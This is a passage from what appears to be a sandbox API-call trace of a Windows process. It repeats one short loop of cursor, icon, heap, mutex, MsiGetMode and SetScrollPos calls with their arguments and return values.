	[0095.672] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.672] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.672] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.672] GetCurrentProcessId () returned 0xb50
	[0095.672] GetLastError () returned 0x578
	[0095.672] GetLastError () returned 0x578
	[0095.672] GetLastError () returned 0x0
	[0095.672] ReleaseMutex (hMutex=0x360) returned 1
	[0095.672] CloseHandle (hObject=0x360) returned 1
	[0095.672] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1520082654, bRedraw=1) returned 0
	[0095.672] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.672] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.672] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.672] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.672] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.672] GetCurrentProcessId () returned 0xb50
	[0095.672] GetLastError () returned 0x578
	[0095.673] GetLastError () returned 0x578
	[0095.673] GetLastError () returned 0x0
	[0095.673] ReleaseMutex (hMutex=0x360) returned 1
	[0095.673] CloseHandle (hObject=0x360) returned 1
	[0095.673] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-265576240, bRedraw=1) returned 0
	[0095.673] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.673] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.673] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.673] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.673] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.673] GetCurrentProcessId () returned 0xb50
	[0095.673] GetLastError () returned 0x578
	[0095.673] GetLastError () returned 0x578
	[0095.673] GetLastError () returned 0x0
	[0095.673] ReleaseMutex (hMutex=0x360) returned 1
	[0095.673] CloseHandle (hObject=0x360) returned 1
	[0095.673] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=998560126, bRedraw=1) returned 0
	[0095.673] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.673] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.673] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.674] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.674] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.674] GetCurrentProcessId () returned 0xb50
	[0095.674] GetLastError () returned 0x578
	[0095.674] GetLastError () returned 0x578
	[0095.674] GetLastError () returned 0x0
	[0095.674] ReleaseMutex (hMutex=0x360) returned 1
	[0095.674] CloseHandle (hObject=0x360) returned 1
	[0095.674] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2022640852, bRedraw=1) returned 0
	[0095.674] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.674] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.674] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.674] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.674] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.674] GetCurrentProcessId () returned 0xb50
	[0095.674] GetLastError () returned 0x578
	[0095.674] GetLastError () returned 0x578
	[0095.674] GetLastError () returned 0x0
	[0095.674] ReleaseMutex (hMutex=0x360) returned 1
	[0095.674] CloseHandle (hObject=0x360) returned 1
	[0095.674] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-739244582, bRedraw=1) returned 0
	[0095.675] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.675] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.675] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.675] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.675] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.675] GetCurrentProcessId () returned 0xb50
	[0095.675] GetLastError () returned 0x578
	[0095.675] GetLastError () returned 0x578
	[0095.675] GetLastError () returned 0x0
	[0095.675] ReleaseMutex (hMutex=0x360) returned 1
	[0095.675] CloseHandle (hObject=0x360) returned 1
	[0095.675] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=553781640, bRedraw=1) returned 0
	[0095.675] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.675] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.675] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.675] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.675] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.675] GetCurrentProcessId () returned 0xb50
	[0095.675] GetLastError () returned 0x578
	[0095.675] GetLastError () returned 0x578
	[0095.675] GetLastError () returned 0x0
	[0095.675] ReleaseMutex (hMutex=0x360) returned 1
	[0095.676] CloseHandle (hObject=0x360) returned 1
	[0095.676] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1856437814, bRedraw=1) returned 0
	[0095.676] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.676] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.676] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.676] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.676] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.676] GetCurrentProcessId () returned 0xb50
	[0095.676] GetLastError () returned 0x578
	[0095.676] GetLastError () returned 0x578
	[0095.676] GetLastError () returned 0x0
	[0095.676] ReleaseMutex (hMutex=0x360) returned 1
	[0095.676] CloseHandle (hObject=0x360) returned 1
	[0095.676] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1126243356, bRedraw=1) returned 0
	[0095.676] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.676] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.676] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.676] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.676] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.676] GetCurrentProcessId () returned 0xb50
	[0095.676] GetLastError () returned 0x578
	[0095.676] GetLastError () returned 0x578
	[0095.677] GetLastError () returned 0x0
	[0095.677] ReleaseMutex (hMutex=0x360) returned 1
	[0095.677] CloseHandle (hObject=0x360) returned 1
	[0095.677] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=195672722, bRedraw=1) returned 0
	[0095.677] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.677] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.677] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.677] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.677] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.677] GetCurrentProcessId () returned 0xb50
	[0095.677] GetLastError () returned 0x578
	[0095.677] GetLastError () returned 0x578
	[0095.677] GetLastError () returned 0x0
	[0095.677] ReleaseMutex (hMutex=0x360) returned 1
	[0095.677] CloseHandle (hObject=0x360) returned 1
	[0095.677] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1527218752, bRedraw=1) returned 0
	[0095.677] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.788] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.789] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.789] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.789] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.789] GetCurrentProcessId () returned 0xb50
	[0095.789] GetLastError () returned 0x578
	[0095.790] GetLastError () returned 0x578
	[0095.791] GetLastError () returned 0x0
	[0095.791] ReleaseMutex (hMutex=0x360) returned 1
	[0095.791] CloseHandle (hObject=0x360) returned 1
	[0095.791] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1426572562, bRedraw=1) returned 0
	[0095.792] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.792] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.792] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.792] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.792] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.792] GetCurrentProcessId () returned 0xb50
	[0095.792] GetLastError () returned 0x578
	[0095.792] GetLastError () returned 0x578
	[0095.792] GetLastError () returned 0x0
	[0095.792] ReleaseMutex (hMutex=0x360) returned 1
	[0095.792] CloseHandle (hObject=0x360) returned 1
	[0095.792] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-75766628, bRedraw=1) returned 0
	[0095.792] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.792] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.792] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.792] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.792] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.792] GetCurrentProcessId () returned 0xb50
	[0095.792] GetLastError () returned 0x578
	[0095.792] GetLastError () returned 0x578
	[0095.792] GetLastError () returned 0x0
	[0095.793] ReleaseMutex (hMutex=0x360) returned 1
	[0095.793] CloseHandle (hObject=0x360) returned 1
	[0095.793] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1284669258, bRedraw=1) returned 0
	[0095.793] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.793] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.793] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.793] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.793] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.793] GetCurrentProcessId () returned 0xb50
	[0095.793] GetLastError () returned 0x578
	[0095.793] GetLastError () returned 0x578
	[0095.793] GetLastError () returned 0x0
	[0095.793] ReleaseMutex (hMutex=0x360) returned 1
	[0095.793] CloseHandle (hObject=0x360) returned 1
	[0095.793] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1640232200, bRedraw=1) returned 0
	[0095.793] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.793] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.793] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.793] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.793] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.793] GetCurrentProcessId () returned 0xb50
	[0095.793] GetLastError () returned 0x578
	[0095.794] GetLastError () returned 0x578
	[0095.794] GetLastError () returned 0x0
	[0095.794] ReleaseMutex (hMutex=0x360) returned 1
	[0095.794] CloseHandle (hObject=0x360) returned 1
	[0095.794] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-260536410, bRedraw=1) returned 0
	[0095.794] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.794] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.794] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.794] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.794] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.794] GetCurrentProcessId () returned 0xb50
	[0095.794] GetLastError () returned 0x578
	[0095.794] GetLastError () returned 0x578
	[0095.794] GetLastError () returned 0x0
	[0095.794] ReleaseMutex (hMutex=0x360) returned 1
	[0095.794] CloseHandle (hObject=0x360) returned 1
	[0095.794] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1128789332, bRedraw=1) returned 0
	[0095.794] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.794] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.794] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.794] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.794] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.794] GetCurrentProcessId () returned 0xb50
	[0095.795] GetLastError () returned 0x578
	[0095.795] GetLastError () returned 0x578
	[0095.795] GetLastError () returned 0x0
	[0095.795] ReleaseMutex (hMutex=0x360) returned 1
	[0095.795] CloseHandle (hObject=0x360) returned 1
	[0095.795] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1767222270, bRedraw=1) returned 0
	[0095.795] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.795] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.795] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.795] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.795] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.795] GetCurrentProcessId () returned 0xb50
	[0095.795] GetLastError () returned 0x578
	[0095.795] GetLastError () returned 0x578
	[0095.795] GetLastError () returned 0x0
	[0095.795] ReleaseMutex (hMutex=0x360) returned 1
	[0095.795] CloseHandle (hObject=0x360) returned 1
	[0095.795] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-358636624, bRedraw=1) returned 0
	[0095.796] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.796] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.796] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.796] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.796] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.796] GetCurrentProcessId () returned 0xb50
	[0095.796] GetLastError () returned 0x578
	[0095.796] GetLastError () returned 0x578
	[0095.796] GetLastError () returned 0x0
	[0095.796] ReleaseMutex (hMutex=0x360) returned 1
	[0095.796] CloseHandle (hObject=0x360) returned 1
	[0095.796] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1059578974, bRedraw=1) returned 0
	[0095.796] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.796] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.796] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.797] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.797] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.797] GetCurrentProcessId () returned 0xb50
	[0095.797] GetLastError () returned 0x578
	[0095.797] GetLastError () returned 0x578
	[0095.797] GetLastError () returned 0x0
	[0095.797] ReleaseMutex (hMutex=0x360) returned 1
	[0095.797] CloseHandle (hObject=0x360) returned 1
	[0095.797] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1807542772, bRedraw=1) returned 0
	[0095.797] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.797] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.797] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.797] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.797] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.797] GetCurrentProcessId () returned 0xb50
	[0095.797] GetLastError () returned 0x578
	[0095.797] GetLastError () returned 0x578
	[0095.797] GetLastError () returned 0x0
	[0095.797] ReleaseMutex (hMutex=0x360) returned 1
	[0095.797] CloseHandle (hObject=0x360) returned 1
	[0095.797] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-370067270, bRedraw=1) returned 0
	[0095.797] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.797] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.798] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.798] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.798] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.798] GetCurrentProcessId () returned 0xb50
	[0095.798] GetLastError () returned 0x578
	[0095.798] GetLastError () returned 0x578
	[0095.798] GetLastError () returned 0x0
	[0095.798] ReleaseMutex (hMutex=0x360) returned 1
	[0095.798] CloseHandle (hObject=0x360) returned 1
	[0095.798] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1077038184, bRedraw=1) returned 0
	[0095.798] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.798] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.798] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.798] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.798] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.798] GetCurrentProcessId () returned 0xb50
	[0095.798] GetLastError () returned 0x578
	[0095.798] GetLastError () returned 0x578
	[0095.798] GetLastError () returned 0x0
	[0095.798] ReleaseMutex (hMutex=0x360) returned 1
	[0095.798] CloseHandle (hObject=0x360) returned 1
	[0095.798] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1761193706, bRedraw=1) returned 0
	[0095.799] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.799] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.799] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.799] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.799] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.799] GetCurrentProcessId () returned 0xb50
	[0095.799] GetLastError () returned 0x578
	[0095.799] GetLastError () returned 0x578
	[0095.799] GetLastError () returned 0x0
	[0095.799] ReleaseMutex (hMutex=0x360) returned 1
	[0095.799] CloseHandle (hObject=0x360) returned 1
	[0095.799] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-294828348, bRedraw=1) returned 0
	[0095.799] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.799] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.799] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.799] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.799] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.799] GetCurrentProcessId () returned 0xb50
	[0095.799] GetLastError () returned 0x578
	[0095.799] GetLastError () returned 0x578
	[0095.799] GetLastError () returned 0x0
	[0095.799] ReleaseMutex (hMutex=0x360) returned 1
	[0095.799] CloseHandle (hObject=0x360) returned 1
	[0095.800] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1181166962, bRedraw=1) returned 0
	[0095.800] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.800] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.800] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.800] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.800] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.800] GetCurrentProcessId () returned 0xb50
	[0095.800] GetLastError () returned 0x578
	[0095.800] GetLastError () returned 0x578
	[0095.800] GetLastError () returned 0x0
	[0095.800] ReleaseMutex (hMutex=0x360) returned 1
	[0095.800] CloseHandle (hObject=0x360) returned 1
	[0095.800] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1628175072, bRedraw=1) returned 0
	[0095.800] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.800] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.800] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.800] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.800] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.800] GetCurrentProcessId () returned 0xb50
	[0095.800] GetLastError () returned 0x578
	[0095.800] GetLastError () returned 0x578
	[0095.801] GetLastError () returned 0x0
	[0095.801] ReleaseMutex (hMutex=0x360) returned 1
	[0095.801] CloseHandle (hObject=0x360) returned 1
	[0095.801] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-132919858, bRedraw=1) returned 0
	[0095.801] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.801] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.801] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.801] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.801] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.801] GetCurrentProcessId () returned 0xb50
	[0095.801] GetLastError () returned 0x578
	[0095.801] GetLastError () returned 0x578
	[0095.801] GetLastError () returned 0x0
	[0095.801] ReleaseMutex (hMutex=0x360) returned 1
	[0095.801] CloseHandle (hObject=0x360) returned 1
	[0095.801] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1371965308, bRedraw=1) returned 0
	[0095.801] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.801] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.801] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.801] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.801] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.801] GetCurrentProcessId () returned 0xb50
	[0095.801] GetLastError () returned 0x578
	[0095.802] GetLastError () returned 0x578
	[0095.802] GetLastError () returned 0x0
	[0095.802] ReleaseMutex (hMutex=0x360) returned 1
	[0095.802] CloseHandle (hObject=0x360) returned 1
	[0095.802] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1408486870, bRedraw=1) returned 0
	[0095.802] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.802] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.802] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.802] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.802] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.802] GetCurrentProcessId () returned 0xb50
	[0095.802] GetLastError () returned 0x578
	[0095.802] GetLastError () returned 0x578
	[0095.802] GetLastError () returned 0x0
	[0095.802] ReleaseMutex (hMutex=0x360) returned 1
	[0095.802] CloseHandle (hObject=0x360) returned 1
	[0095.802] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=115658200, bRedraw=1) returned 0
	[0095.802] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.802] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.802] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.803] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.803] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.803] GetCurrentProcessId () returned 0xb50
	[0095.803] GetLastError () returned 0x578
	[0095.803] GetLastError () returned 0x578
	[0095.803] GetLastError () returned 0x0
	[0095.803] ReleaseMutex (hMutex=0x360) returned 1
	[0095.803] CloseHandle (hObject=0x360) returned 1
	[0095.803] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1649433222, bRedraw=1) returned 0
	[0095.803] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.803] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.803] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.803] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.803] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.803] GetCurrentProcessId () returned 0xb50
	[0095.803] GetLastError () returned 0x578
	[0095.803] GetLastError () returned 0x578
	[0095.803] GetLastError () returned 0x0
	[0095.803] ReleaseMutex (hMutex=0x360) returned 1
	[0095.803] CloseHandle (hObject=0x360) returned 1
	[0095.803] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1102129100, bRedraw=1) returned 0
	[0095.803] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.803] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.804] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.804] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.804] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.804] GetCurrentProcessId () returned 0xb50
	[0095.804] GetLastError () returned 0x578
	[0095.804] GetLastError () returned 0x578
	[0095.804] GetLastError () returned 0x0
	[0095.804] ReleaseMutex (hMutex=0x360) returned 1
	[0095.804] CloseHandle (hObject=0x360) returned 1
	[0095.804] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=450905826, bRedraw=1) returned 0
	[0095.804] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.804] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.804] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
